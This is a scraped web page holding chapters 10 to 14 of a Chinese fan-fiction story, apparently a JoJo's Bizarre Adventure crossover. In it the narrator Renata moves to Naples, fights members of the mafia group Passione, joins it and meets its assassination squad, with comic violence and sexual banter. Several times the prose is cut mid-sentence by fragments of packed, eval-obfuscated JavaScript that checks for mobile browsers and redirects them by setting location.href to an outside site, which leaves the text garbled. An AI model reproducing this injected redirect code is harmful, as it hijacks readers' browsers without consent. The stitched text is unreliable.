l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233711|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “乱码?你的替身能力有点太不靠谱了吧。” “这肯定是你的问题。”岸边露伴强硬地说,“不过你那两次试炼,可能并不是单纯的试炼。” “那是什么?” 他很认真地跟我说:“那或许是真实发生的。只是和我们不在一片时空。但我看到的很多部分都被你主观改动过了,老实说你的书和之前很多人的都不一样,或许我们还得花上一段时间才能解开你的那些秘密,你是真的一点头绪都没有吗?” “在约旦河出现前,我没有任何特殊,所以我认为一切都是约旦河的问题……” “或许吧。”岸边露伴很含糊地说,“你先答应我件事。” “什么?” “以后也让我对你使用天堂之门。” 哇塞这家伙,非常自然地说出了很无理的要求呢。 我在心里默默吐槽这家伙,嘴上说的却是:“这没问题。不过露伴老师,我再过一段时间就要去意大利了,应该不会经常回杜王町,所以下次见面或许就是几年……” “没事,我去找你。”岸边露伴不经意间暴露了他的超绝财气,“顺便再去意大利取景。” 还没等我开口,岸边露伴又说:“你还没跟仗助他们说?” “等会吧,等会。” “哼,你会忘记的。” “你不要以为你看了我的设定,你就对我了如指掌。” “哼。” 他怎么一直在哼,他以为自己是什么傲娇小猫咪吗? * 结果我真的忘了。 局面就变成了我在仗助“为什么告诉他不告诉我们”的哭诉声,岸边露伴“哈哈我就知道你会忘”的嘲讽声,亿泰摸不着情况“意大利?原来蕾娜塔是意大利人啊”的添乱,由花子充满威胁的“让那个神经病第一个知道是什么意思”的话语,康一“别责怪蕾娜塔啦”的毫无作用的劝架中—— 一脸凌乱。 真的不是我不在乎他们啊,而是我收拾行李收拾的太累了,还要阻止阳莱和直子想要跟我一起去,结果就忘了! 我跟由花子说:“真不知道为什么阳莱和直子那么想和我一去,她们说那里有黑手党,她们不放心。拜托,都21世纪了,怎么可能那么容易就遇到黑手党。” 由花子:“那不一定,万一你真的遇上了黑手党呢。” 我嘟囔着:“这概率比我在面包店遇到杀人犯低多了……” 亿泰:“难道不是面包店遇到杀人犯更低吗?” 我:“……” 知道我的所有经历都岸边露伴罕见地哈哈大笑了起来,他笑得腰都直不起来,气得我愤怒地吃光他点的小蛋糕。 * 在阳莱和直子絮絮叨叨的千万不要和黑手党扯上关系的叮嘱声里,我没有假装应和她们,而是选择在她们脸上狠狠地亲上一口。 我然后拖着行李箱走向来送我的朋友们,一个接着一个抱了过去。 某些人比较害羞,嘴上说抱什么啊,实际上身体很诚实地拥了过来。对于这种傲娇,我选择很体面地不拆穿他们。 在抱到仗助时,仗助微微嘟起嘴,说:“要是我想你怎么办?” “你要是想我,可以来意大利找我啊!而且我也会经常回来看你们的。” 仗助叹了口气:“可是意大利好远……” “你好好读书,毕业了就来找我呗!” “你知道我说的什么意思吧……算了,我会想你的!” “我也会想你们的。” “那么再见了!”我朝着他们挥挥手,然后头也不回地朝登机口走去。 再见了,杜王町。 虽然这一年里我莫名其妙受了好多难,但总归还算度过了很值得怀念的一段时光。 接下来,我就要去阔别了十二年的意大利啦! 好耶! 11. 热情意大利 我不是在来意大利的时候,高声欢呼“好耶!”吗。 嗯,我现在收回这句话。 因为我一下飞机就被偷钱了!!! 钱啊!!!! 我的钱啊!!! 偏偏我还带着一堆行李,不能直接跑去追那个毛贼,不然我肯定要把他蛋蛋踢爆。他一定也是发现了我没空脱手才偷我钱的吧! 可恶啊,意大利,久别重逢你就这么对我吗? 意大利虽然是我的故乡,但我对这里还没有对美国熟悉。我既不知道那不勒斯哪里的商业街最繁荣,哪家餐馆的食物最美味,也没有一个认识的人。 我在孤儿院认识的人我几乎都没啥印象了,我有点印象的就只有院长妈妈,还有我的朋友…… 不过我小时候因为脾气太差所以只有一个朋友来着。 我儿时最好且唯一的朋友是孤儿院外的一个小女孩,她有着一头柔顺漂亮的黑发。我记得我们常常坐在沙滩上给对方编辫子,捡贝壳。我们一起念书写字,畅想未来的人生……那是一段没什么特别但却无比幸福的时光。 毕竟那时我还没有觉醒替身能力。 也不知道她现在怎么样了。或许她和我们曾经幻想那样,到了罗马的大学读书,然后还在海边拥有了一栋自己的房子。 细想之下,我当时选择了意大利的院校和儿时的畅想也有一定的关系吧。 不过我没去罗马或者佛罗伦萨念美术学院,而是选择了南意的那不勒斯。 南意大利相比北意大利,治安没有那么好,经济也没有那么发达。我在那不勒斯租住的公寓,虽然附近治安很一般,但已经是离我学校最近的公寓中相对较好的了。 至少附近的街道不会碰见瘾君子和犯罪分子。 这座城市治安真的不怎么样,警察好像没什么用。 一个星期内,我被抢了几十次钱包,被醉汉骚扰了十几次……没有一次警察管用了!全是我自己把他们揍的嗷嗷叫,甚至有好几次别人被抢被骚扰,都是我出手帮忙的。被警察发现了,我还要给警察塞钱。 这世道……哎哟,出门在外,全靠自己。 正当我把钥匙插进钥匙孔时,我听到隔壁传来了老人们的惨叫声。在我犹豫着要不要敲门问问时,隔壁的门突然被撞开了。 是一个老爷爷把门撞破了。他满头血,一看到我就跪了下去,抱着我的腿:“帮帮我们吧,帮我们报个警吧……” 我连忙弯腰准备扶起那个老人,却听见一道充满恶意的声音响起:“你这个老不死的,还想跟人求救……” 于是,我和那个手拿着沾满血的台灯的男人对视了。他看上去状态很差劲,眼眶凹陷,眼球布满血丝,脸色乌青,面部消瘦,跟具骷髅一样……或许是个瘾君子。 他瞪着我:“劝你别多管闲事,我可是「热情」的人……” 透过他身后未关严的门,我可以看到一个头发花白的老太太已经昏迷过去了。 这家伙把自己打人这种行为解释为热情,他以为他自己很幽默吗? 我捏了捏拳头:“哦,那我也是个热情的人。” …… 自从我开始练习波纹后,我的力量提升了不止一个维度,现在徒手碎大石对我来说轻而易举。 教训这个只敢欺负老人的瘾君子更是不在话下。 我一只手抓着他头发把他拖到窗边,恐吓他:“还敢打人吗?” “不敢不敢!。” “还敢没钱就来揍你爸妈吗?” “……不敢了,姑奶奶!你放过我吧。” “还敢恐吓我吗?“ “我真的不敢了,求求你……” 我冷笑一声:“别想着吸毒了,去吃牢饭吧!” 我把那家伙敲晕了后,果断报警了。 当警察接走那个混蛋时,我正在告诫那两个老人:“你们最好换个安全点的住宅,万一警察很快就放他呢。还有别因为那是你们儿子就心疼他,他都把你们揍成这样了……” 可那两个更需要被关心的两位老人反而握住我的手,开始关心我:“小姑娘,你也得换个住宅了,最好换个城市……” 他们说,他儿子是热情的人,热情或许会对我实行报复。 路过的警察听了他们的话,也附和了句:“他们说的没错,但如果你遇到危险,也可以来找我。” 说着,他问我要联系方式。 我当然给了,不过不是因为我想求助他,而是因为他眼睛很漂亮,灰紫色的眼睛,像我插在花瓶里的多洛塔玫瑰,在光下还会闪着鎏金色的光。我很喜欢。 拜托,谁会拒绝美人的联系方式! 在他们三言两语中,我大概明白了,「热情」是一个名称,不是形容词,是意大利目前最大的黑手党组织。 听了他们口中所说的组织曾干过的事,采取的报复。 我第一感想是:热情原来是黑手党的名字…… 第二感想:你大爷的,早知道让约旦河直接弄死他算了,反正警察也不会在乎黑手党的死。 虽然阳莱和直子,甚至岸边露伴都告诉过我:小心意大利的黑手党。 但我从未把他们真的放在心上过。 因为我不认为我容易招惹到黑手党,除非他们自己跑来撞在我的枪口上。 没想到我才来一周我就碰上了黑手党,抱歉啊,由花子,你让我小心点,别烂好心真的太正确了。 只是再来一次,我还是会选择帮那两个老人的。或许这次我帮了他们,下次他们依然会被瘾君子儿子缠上,依然会被打的双双昏迷,警察依然会对此视而不见……但我做不到袖手旁观。既然我有可以阻止恶性事件在我眼前发生的能力,为什么不去阻止呢? 阳莱和直子告诉我,要在自己力所能及的范围内多做点好事,不仅仅是为了营造更好的社会氛围,更是为了增强自己对世界和他人的信任感和归属感。 我接受了两位老人的感谢费用,然后抱着多一事不如少一事的想法,我还是搬家了。 只不过我现在住的离我的学校稍微远了些,大概隔了两个街区。 搬家搬的我很累,尤其是我那些画材!要是热情的人敢来找我麻烦,我一定要往死里揍他们。 但过了大概两个星期,也没有人找我麻烦。 就在我以为会无事发生的那个下午,我一如既往地走进了我来意大利后最爱光顾的那家面包店。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233712|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这家的可颂塔我超喜欢,而且装修得也很温暖,每一次来这里买面包都会让我觉得自己真是太幸福了。 这个满足感在我抱着我的面包袋准备拉开门那一刻消失殆尽。 因为一个混子男抓住我的手,露出一副不怀好意的笑容:“呐,漂亮的小妹妹,我们聊聊吧。” 看到他那张挂着邪魅笑容的脸的那一刻,我感觉我差点就要把门把手给捏碎了。还好没有,我以后还得来这家面包店呢。 不管内心如何想,我还是露出礼貌的微笑:“先生,我赶时间。” 对方愣了愣,露出了一个玩味的笑。 “虽然你长的很漂亮,不过我来找你可不是为了这种事。你还记得前几天你揍的那家伙吗?”那个男人靠近我,在我耳边喃喃着,“小姑娘啊,在那不勒斯这个城市,可不要随便招惹人。” 前几天被我揍的……难道是那个热情的人?! 来了,来了!他来了!要被我揍的冤大头还是来了! 那小子不敢亲自来找我是不是怕我这次真的会把他弄死。 他猜对了哈哈。 但这里不是动手的好地点。要是我最喜欢的面包店有什么好歹,我觉得这个世界差不多也可以毁灭了。 我深吸一口气,装作一副很害怕的模样:“……先生我们可以换个地方谈谈吗?我没想到会是这样的结果啊!如果你们想要钱,我……我可以给的……” 对方在听到我说钱,看到我这副两眼泪汪汪的弱小模样后,明显松懈了不少。 他一定在想,我这样的小姑娘也只能打过瘾君子了吧? 呵,等会我一定要把你屁股踹开花。让你知道一下那天我搬家搬的腰有多疼! 我边说边溜出面包店,那个男子紧跟在我身后,我们走进了小巷子,他说:“小妹妹,你要知道那家伙可是让我好好教训你,最好把你弄死,但是……” 我仔细看了看,这附近没人。 我深吸一口气:“先做个自我介绍吧。这样有礼貌点。” “啊?” 我没理他:“我叫蕾娜塔,年龄18岁,意大利人,目前暂住水银花街道的一座公寓里,单身。我在那不勒斯学习美术,大概几年后就会搬走。我现在生活作息非常良好,每天准时入睡准时起床……” 混子男忍不住开口骂:“你这个家伙脑子有问题吧?” 有问题的不是我,而是吉良吉影,我只是在模仿他而已。唉,这种只有我一个人懂我在diss谁的感觉真微妙,要是岸边露伴在就好了,他肯定懂。 我摇摇头:“或许我脑子确实有点问题吧,但这不重要,重要的是你马上会死,你会成为我在意大利弄死的第一个人。不过在那之前……” “约旦河!” 我当然有自信能够解决这个寸头男,但我需要它帮我搬运尸体。 可这家伙露出了一个惊讶的表情:“你也是替身使者?” “也?” “你是谁的手下?你……难道是波尔波?” 我突然起了点兴趣:“你为什么这么笃定我一定得是谁的手下,难道你们这里大部分替身使者都是□□成员?还是说……你们也拥有那把箭?” 12. 黑手党入门 我从吉良吉影那里得到的箭没有交给任何人,直觉告诉我,这把散发着不详气息的箭身上一定有什么秘密。当然,更重要的是我对这把箭产生了点兴趣。 除了查看过我记忆的岸边露伴,没人知道我这里还有一把箭。我连仗助都没说。 岸边露伴在知道我决定私藏箭的时候,意味深长地看了我一眼:“你知道按照一般漫画套路,你一定会因为私藏这把箭而发生什么意外吧。” 如果说有人以为他这是在关心我,那就大错特错了!因为他下一句话是: “发生了什么事,一定要先告诉我,这一定是个很好的漫画题材!” 我懒得喷他。 当我一离开岸边宅,约旦河就飘出来对我说:“你绝对不能把箭给空条承太郎。” 我:“废话。我的就是我的,就算是空条承太郎也别想拿走。” 老实说,要不是因为这把箭太过坚硬了,我肯定会在这把箭上刻上我的大名。 * 我一屁股坐到了那个混子男背上:“我该怎么加入你们「热情」?” 对方没有说话,我拍了拍他的脸,他也不说话,我忍不住感叹:“哇塞,你嘴可真严。也可能是我没学过拷问……要不我现学一下?” 但不管我怎么拍他的脸,他都一声不吭,我这才察觉有些不对劲,去摸他的大动脉才发现—— 他已经死了。 ……这是我干的吗? 不是吧,应该是约旦河干的。 替身干的和我有什么关系? 在这家伙之后一周,断断续续有几个组织内的人找我麻烦,他们的实力一个比一个强……但无一例外没有一个人告诉我该怎么加入热情。 他们在听到我想要加入组织时都嘲讽我,以为干掉了一个小啰啰就有能力加入他们什么的…… 但下一秒我就会让他们知道,他们也是那个“小啰啰”。 直到某天下午,我再一次打开门的时候,看到了一个老人坐在我的小沙发上。 他看到我,向我脱帽致意:“非常可爱而温馨的小家,迷人的姑娘。” 我反手把门关上:“你也是「热情」的人?先说好,我平时是很尊老爱幼的,但如果你依然要大方阙词,那我的底线也可以降低一下……” 老人呵呵笑了几声说:“我们「热情」非常庞大,组织内关系错综复杂,总会有一些不识好歹的家伙……希望小姑娘你不要因此对我们有了成见。” 察觉到他没什么恶意,而且似乎也看不见替身。我默不作声地收回了约旦河,笑着问:“先生,敢问您的名字是?” “贝利可罗。”那个老人回答,“我是「热情」的干部,从一些家伙那里听说了你的名字和意愿就前来拜访了。” 看来是来审核我的了,只是看不出来这家伙欣赏什么样的人。但无论如何今天我一定要加入「热情」,不仅仅是因为可能存在的“箭”,更是因为我的直觉……当然还有一部分是因为我觉得这会很有意思。 我给他端了一杯红茶:“抱歉,贝利可罗先生,我这里只有红茶。之前一不小心杀死伤害了一些组织成员也很抱歉,请您相信,我并非有意……” “多余的话就不用说了,”贝利可罗说:“那些家伙会死,是因为他们的能力不足却想要挑战更加强大的人。你想要加入组织的目的是什么,想要获得的是钱财,地位,还是一个保障……这些都不是我们在意的地方。我所需要考察的,是你的忠诚。” “忠诚?”我皱眉,“如果我能够加入「热情」,那我一定会竭尽全力效忠的,如你所见,我拥有这个实力,而……” 贝利可罗摇摇头:“口头的效忠是没有意义的,我所需要的是你的觉悟。如果能够知道你的觉悟,那么你就可以获得和你的能力匹配的位置。” “觉悟?您能把话说清楚些吗?” “我所需要的觉悟是现在的你无法给的,但这并不代表我现在不会招募你。组织内真正拥有觉悟的人是少数,大部分人只是出于恐惧或是利益而选择忠诚。” 他所说的觉悟该不会是为组织奉献一切的觉悟吧?那他要失望了,不仅现在的我给不了,未来的我更不能给。 见我不吭声,贝利可罗又继续说:“更多的试炼就没必要了,你早就证明了你拥有加入组织的能力。” 他递给了我一个花纹独特的胸针:“这是组织的证明。拿到这个胸针后,你就是「热情」的人了。” 我接过这枚胸针,花纹不错,看来这个组织挺有品味的:“我还以为进入你们组织会很难,之前的那些人一个也不愿意告诉我。” 贝利可罗先生露出了一个微笑:“那是因为你通过解决他们向我证明了你拥有加入的资格。想要加入我们组织并不是一件难事,真正难的是要做到最后。” 难道是因为会有人忍不住背叛组织啥的吗?安心啦,我才不会干这种飞蛾扑火,吃力不讨好的事呢。 我问他:“我会加油的,贝利可罗先生。那我什么时候能够去见老大……” 我超级想体验一下传说中的吻手礼的,如果说那个黑手党老大是个俊男靓女,那我更乐意了! 他的眼神马上变得锐利起来,很严肃地说:“我们组织一向宽容。但是有两样东西是永远无法被原谅,并且要受到严重的处罚的。一个是背叛,另一个是打探老板的任何事情。我们不会称呼老板为教父或者老大之类的,直接叫老板就好了。” 接下来,身为干部的贝利可罗非常严肃带着些告诫的语气告诉了我一些事情。基本上都是说绝对不能探查老板的真面目,甚至——他的发丝,他的住宅,他的联系方式,他的声音,他的姓名…… 一切都不能!更别说见他本人了! 不是,你们这个组织是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他跟触电似的立刻松开了我的手:“我是雷欧.阿帕基。” “叫我蕾娜塔就行……额我在附近的美术学院念书。” 他沉默了一会,似乎在想该说什么话题才合适,最终他说:“后面热情的人没有找你麻烦吧?” 找了。 不过现在我和他们一伙了,所以没事了 虽然我很好奇如果我这么说,他会露出什么表情,但我还是压制住了我的恶趣味:“没有。” 我打量着他身上穿的规规矩矩的警服,和我之前在街上碰到的一些警察不同,他的警服没有一丝褶皱,每颗扣子都扣得好好的,只是订衣服时可能没考虑到他的胸围大小,胸口处的衣服有点紧绷。他涂着浓郁的口紫,和他那双眼睛很配。 察觉他似乎因为我过于直白的注视而有些不自在,我转而说:“都周五晚上了,你还要去执勤吗?” 他正了正帽子,低着头看我,那双好看的眼睛被笼罩在了帽檐的阴影里,但这没有减损它的美丽,反而增添了一丝神秘的诱惑感。 我没有听清他说的话,只在看那双在阴影中的眼睛,等他跟我说明天见的时候,我才反应过来我刚刚答应了和他一起吃顿饭。 哇,美色误人啊。 13. 谁加入暗杀组?我? 从贝利可罗离开,我就在想这个问题了:他没有要我的任何联系方式,那他打算怎么通知我呢? 这个疑问很快在三天后得到了解答。 那是一个风和日丽的下午,正当我打开电脑准备玩游戏的时候,突然我的屏黑了—— 和每一个人看到这一幕的反应一样,我崩溃地大叫:“oh no!妈妈咪呀为什么要这么对我——!” 在我又崩溃地惨叫了好几声时,黑屏上断断续续出现了几行字: 组织决定了你的归属,接下来你…… 原来不是电脑坏了,是被黑进了电脑啊。我感到庆幸的同时,又有一点小兴奋,或许这个组织开展的业务比我想象的要多的多。 不愧是黑手党!这才是我想象中的黑手党啊。这么隐蔽帅气的通知,太酷炫了! 老实说,在知道「热情」的老板神经质到连属下的面都不愿意见的时候,我对这个组织的热情一下子就没了。现在,看到这么酷炫的通知方式,我感觉我的热情又回来了! 而且我新买的电脑也没有坏! 哦呼! 根据贝利可罗传达的消息,我准时抵达了那家碰面的咖啡厅,在指定地点入座,并点了一杯咖啡。 没过一会,就有一个人就拉开了我旁边的座椅,准备入座,这就是我未来的—— ……? 不是吧,这什么人啊? 对方是名高大的男性,我感觉他可能有两米高。他的眼睛非常独特,有着恶魔般的黑色的巩膜,他面部曲线非常硬朗,非常刻板印象的硬汉一枚…… 但这些不重要,重要的是他的着装! 他下半身穿着黑白相间的紧身裤,但我仔细观察他的腿部肌肉线条后才发现紧身效果可能是他的肌肉撑起来的。 老实说,这条裤子其实很丑,像囚犯会穿的。但是他完美性感的腿部肌肉又恰好掩盖了这点。 更夸张的是他的上半身……妈妈咪呀,妈妈咪呀,我的妈呀…… 他穿了一个纯黑的长款外套,里面要是什么也没穿就算了,偏偏他还绑了几根带子在胸前,不知道是起什么作用,首先排除遮挡作用。 这跟没穿有什么区别,甚至比没穿更涩情了!他的美好的胸肌,完美的腹肌,还有他的小樱桃都可以看的一清二楚啊喂! 话说回来,这家店的咖啡是不是有点辣啊……我要避雷这家店了。 我故作镇定地又喝了口咖啡,眼神始终无法从那一片白花花的肌肉上移开。这家伙也太客气了吧,好人啊! “你的身份证明。”他开口了,一口低音炮,嗯……挺符合我对硬汉的刻板印象的。 我被眼前一片美色迷了眼,略显呆滞地问:“啊?” “贝利可罗没有给你?那个徽章。” 我马上从迷人眼的世界里回神,掏出那枚胸针递给他。 他看了一眼,就还给我:“里苏特.涅罗。” 哦哟,真高冷。 我也学着他高冷样:“蕾娜塔。” 听到我的名字后,他微微皱了一下眉,然后对我说:“贝利可罗说你从今天起跟着我们小组行动,我们组主要负责暗杀。” “哦,暗杀组嘛……” 等等,什么? 他说我加入的组叫什么? ……暗杀组……暗杀? 贝利可罗你这个老东西,难道我看上去很像是搞暗杀的吗?给我戴个老花镜啊。 还有这个男人长的那么突出,他怎么也是搞暗杀的啊!你说他曾经干过男模这行我倒是会信。 * 里苏特是个沉默的男人。他盯着我把咖啡喝完后,就说带我去暗杀组的据点,带我认认路。 在路上,他很不客气地说:“你先做个自我介绍。” 我很乖巧地回答:“我叫蕾娜塔,18岁,意大利人,目前在美术学院学习。” “你住在哪里?” 我犹豫了一会还是直接告诉他:“水银花街道的郁金香公寓401。” 他沉默了一会说:“并不需要说的那么详细,你们那里的住户有没有比较麻烦的人?” “额,麻烦的意思是?” “这也要我解释吗?”里苏特皱眉,“你之前没从事过相关工作?” “没有。”我老实回答。 不知道为什么,听到我这句话后,里苏特周围冷冰冰的气氛突然缓和了一下,但很快他又变回了之前那副冷酷无情的模样。 里苏特:“麻烦的邻居就是指会对你的一些举动刨根问底的人。” 我摇摇头:“没有。”但有一个我很想泡的邻居,不知道邻居他脱衣服后的身材有没有里苏特好,他穿的太严实了根本看不到,我也不好意思直接上手对吧。 我简单说了几句后他没有什么表示,只是沉默着继续大步向前走,我只能加快步伐跟着他走。 我讨厌腿长的人!尤其讨厌腿长还走的快的人。 不过一会,他走到一扇门前就停住了脚步,微微俯下身子,用他那双奇特的眼睛盯着我:“贝利可罗说你会和我们度过两年的考察期,他看上去很重用你,他有没有额外给你派什么任务?” “……没有。” “不要说谎,蕾娜塔,对敌人可以说谎,但如果你要和我们共事,那就少撒谎。”他低声说着,我感觉我的耳朵有点痒了,“希望你不会自作聪明做一些小动作。” 说完,他就直起身子,把钥匙插进了孔内。 我有些后知后觉地发现:……他刚刚好像是在威胁我。 我没来得及细想,里苏特就推开门了,他大步走进去。见我没跟上,他又回头看了眼,我马上领会他的意思,跟着他走进了这个房子,顺带把门也关严实了。 进门就是客厅,客厅的装修很简单,连个电视机都没有。这个客厅很大,根据沙发能够容纳的人数,我估计他们暗杀组应该有五人以上十人以下,但现在沙发上只坐了两个人。 一个是穿着西装的金发男人。 我讨厌金发,但他长的很漂亮。他的睫毛很长,似乎比仗助的还要长。他穿着一套很有型的西装,好像是个奢侈品牌的,头发看上去花了不少心思去打理。 他一定是那种早上起床会花一个多小时来打理自己的精致男人。哦我讨厌金毛精致男。 虽然他的西装领口开的很大,可以窥探到他的胸肌,但是在里苏特的对比下,这家伙穿的已经很保守了。 型男,潮男,男模。 这就是我对这个金发男的第一印象 另外一个……他留着一撮草一样的发型,长的跟萝卜成精一样。 他的衣服上围了一圈皮草,打扮的特别像个混混……哦,本来就是个混混。虽然他面相看上去不太友善,但是我能够看出一点:这家伙很好欺负。 里苏特把我拉过来:“这家伙是我昨天跟你们说的新成员,她叫蕾娜塔。” “是个小姑娘啊,里苏特,”金发男人站起来,朝我伸出手:“我叫普罗修特。那家伙是贝西。” 这个金发男不止衣服很有型,甚至他的名字都很有型。 我回握住他的手,他很用力地跟我握了一下就松开了,接着他就坐回到了沙发上,拍了拍那个叫做贝西的萝卜精:“贝西哟贝西,和新来的小姐打个招呼啊。” 那个名叫贝西的看上去很单纯很好欺负的男人异常紧张地和我打了个招呼。 联想到里苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233714|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特进门前对我的警告,我不由得怀疑里苏特是不是跟他们说了什么,又或者……贝利可罗和他们是组织内的敌对势力? 不过这都和我无关。 见里苏特有抛下我去忙自己事情的意思,我忍不住主动开口:“里苏特队长,请问其它成员在哪里,我想问候一下他们。” 里苏特没有回我,因为普罗修特抢先回答了我:“目前只有一个家伙在楼上,其它出门了。不过我不建议你去拜访那个家伙。” “……”有种不太妙的感觉,但我可不想直接问他原因。 对这种看上去很精致的男人一定要多点心眼,他们只要有机会就会想要拿捏你,玩弄你。 于是我直接说:“我觉得还是要和同事打声招呼的。” 普罗修特嗤笑了一声:“如果遇到麻烦就大喊我的名字,你记住我叫什么没有?” “普罗修特。” “很好。” * 我认识的第四个暗杀组的成员真的非常奇怪。 真的,非常,奇怪。 按照里苏特的形容,我一上楼就精准找到了他的房间。几乎是在我手刚碰到门,准备敲门的那一刻,门就打开了。 开门的人是一个看上去年纪不算大的紫发男人。他头发比较长,面相较为柔和,第一眼我还以为他是个女人。他带着一副看上去就不像好人的眼罩,衣服很奇怪,像是一件完好无损的衣服的一半被剪下来了几块布料一样,衣服上的花纹显得他跟条章鱼一样。 你们穿的这么招摇,真的是做暗杀的吗? 但比起他的衣服,更奇怪的是他的人。 他一见到我就双眼放光,然后冲过来捧着我的脸上看下看,左看右看,一会拿手摸我的下颚线,一会又拿手扒开我的眼皮,仔细看我的眼珠子,一边看还一边还很兴奋嘀咕着“De molto”。 在他不知道洗没洗的手指马上要碰我的嘴之前,我率先开口了:“你好……” 他又非常不礼貌地打断我:“你喜欢什么体位?接吻的方式呢……” 意大利人都这么……不对啊,这不是意大利人特点吧,这不就是纯变态吗? “等等!”我马上制止了他。 或许他没什么恶意只是单纯想问问呢,也或许他是想学习撩妹只是努力错了方向……算了,不想了,反正吉良吉影那种变态我都可以和他交流,这种也可以吧,新的类型而已。 于是我很淡定地说:“一个个问……你让我想想。” 他的脸瞬间因为过度兴奋而涨红,他一边念叨着“De molto!”一边兴奋地扭来扭去,搞得跟我们是正在谈论恋爱话题的高中生一样。 然后他问:“接吻,你喜欢什么样的接吻?前戏呢?全都告诉我吧!” 我用尽我毕生的力气回答:“我喜欢像狗舔人一样的乱亲,前戏的话……” 他又兴奋地打断我:“体位,体位,你喜欢什么体位!” “我感觉会更喜欢女上……” 他更加兴奋了:“那你……” “梅洛尼!” 在我本就岌岌可危的对组织的忠心马上要坍塌那一刻,伟大的里苏特出现了! 他推开门极大声地警告了这个紫毛变态。 我将收回我对里苏特的一切不正经的意淫想法,他真的太靠谱了! 名叫梅洛尼的奇怪的紫毛变态马上失望地收回他的手,然后大叫:“原来不是我的生日礼物吗?我以为里苏特你终于明白我想要什么了!” ……我……我已经没有力气吐槽了。 致我未来的同事们:如果说我以后工作时完全没了初次见面要和同事们好好说话的念头,全都怪他们! 14. 顺着杆子往上爬 里苏特的警告声把普罗修特和贝西也吸引上来了。 在普罗修特还没走进来时,我就听见了他略带些嘲讽的声音:“我早说了不建议去问候那家伙吧?如果叫上我一起就不会……” 他的声音在他推开门的那一刻的戛然而止了,我猜测是因为我没有像他想象中那样躲在里苏特身后避着梅洛尼,而是站在梅洛尼前面和里苏特对视。 我不仅没有躲着梅洛尼,我还在替那个紫发变态说好话:“他没什么坏心思啦,我们只是在说悄悄话。” 我边说边把梅洛尼试图伸过来环抱我的手给拍开:“他看上去只是把我当成了一个玩具,比较新奇。所以才会动手动脚,这没什么。” 里苏特审视了我一会:“你知道他的替身能力是什么吗?” “……”我不太想知道。感觉知道了就不想和这家伙说话了。 里苏特见我没吱声,也不为难我,转而对梅洛尼说:“不许对她使用「娃娃脸」,这家伙是我们的新同伴。还有你,蕾娜塔,我们小队内绝对不允许对同伴使用替身能力。” 那按里苏特这个说法,他们小队内没有奶妈了。我那个鸡肋的能力——“蓦然回首“还是搭配着奶妈比较好用。 “是吗?那真是太好了,我不会的。”梅洛尼很敷衍地回复了里苏特,不安分的手又开始抓着我的手指摸来摸去。 他这个样子看上去有点像吉良吉影……但又不太像。 我能很敏锐地察觉人们眼中的欲望,吉良吉影看向我的手时眼中只有爱欲和色欲,在看向我时眼中只有杀欲。 而梅洛尼不一样,他的眼中没有欲望,只有狂热。 他应该是个危险分子。但我并不害怕,毕竟他大概也无法真的伤害我。 普罗修特盯着梅洛尼和我握在一起的手,嗤之以鼻:“你找了个很烂的靠山。” 我迅速回答:“我不需要找靠山。” 我需要的只有玩具。能够让我感到新奇的人,能够包容我一切举动的人,好玩的人,有趣的人。 * 里苏特很快离开了梅洛尼的房间,走之前他只说了句他一直在楼下。 普罗修特盯了我一会,见我没有想要离开的意思,很快就走了。 梅洛尼在他俩一走,就环抱住我,把头靠到我的颈窝,喃喃着:“你太完美了,你的五官的位置大小,你的骨骼的模样……你的一切,都是标准的美丽,非常标准,这样的你,无论是男人还是女人,都是标准的美。如果真的有神存在,那么他创造你的时候一定是拿着尺子静心雕刻的。你简直就是我理想中的最好的母体!” “……”听到母体那两个字,我大脑中什么东西崩断了,我有点后悔了,马上开始摇人:“里苏特?里苏特!” 梅洛尼捂住我的嘴,他说:“嘿,我……” 他竟然想阻止我告状?摇对人了。 我学着他模样,把他捂住我的手扒拉开,然后伸出食指抵在他嘴前:“听着,我还是跟你说一声。我不介意你对我动手动脚或者说一些奇怪的话语,我这个人很宽容,也很擅长体贴理解别人。但如果你想要挑战我,或者你的脑子动了一点点伤害我的念头,那么你就完蛋了。” 梅洛尼没回答,他张嘴把我的食指含住了。 ? ?! 他在干嘛? 似乎就是从那一刻起,我才明白,我不能拿正常人的标准来观测梅洛尼这个人。 我的食指插在他温热的口腔中,他的牙齿轻轻磨着我的指关节,湿软的舌头缠绕着我的指尖,他的口腔很热,这个感觉有些新奇,酥酥麻麻的,我一时竟没有想把手指抽出来的念头…… “砰!” “梅洛尼!你把我买的布丁放哪了!哈?!” 哪怕是有人推开了门,梅洛尼也旁若无人地继续吸吮我的食指,所以就只有我和那个破门而入的人面面相觑。 破门而入的是一个……恶魔果实精。 他看上去年纪和我差不多大,表情很凶狠像一条恶狗,皮肤很白,高挺鼻梁上架着一个红框眼镜,穿着一套纯白的制服,他的发型真的就是恶魔果实啊。 “你看过海贼王吗?” “哈?“他没理我,一把冲过来,拎起梅洛尼的领子把我俩拉开,然后对着梅洛尼大喊大叫:“你刚刚在干嘛?还有我的……” “De 